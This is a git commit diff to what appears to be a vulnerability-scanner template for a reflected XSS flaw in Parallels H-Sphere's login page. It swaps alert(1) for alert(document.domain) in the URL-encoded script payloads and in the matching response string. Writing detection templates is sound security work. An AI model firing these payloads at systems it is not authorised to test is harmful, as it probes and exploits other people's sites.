Update parallels-hsphere-xss.yaml

patch-1
Ritik Chaddha 2022-06-30 16:30:01 +05:30 committed by GitHub
parent 4c862b96cf
commit d7e182c693
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 3 additions and 3 deletions

View File

@ -16,8 +16,8 @@ info:
requests:
- method: GET
path:
- '{{BaseURL}}/webshell4/login.php?err=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E'
- '{{BaseURL}}/webshell4/login.php?login=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E'
- '{{BaseURL}}/webshell4/login.php?err=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
- '{{BaseURL}}/webshell4/login.php?login=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
stop-at-first-match: true
matchers-condition: and
@ -25,7 +25,7 @@ requests:
- type: word
words:
- 'value="\"><script>alert(1)</script>'
- 'value="\"><script>alert(document.domain)</script>'
- type: word
part: header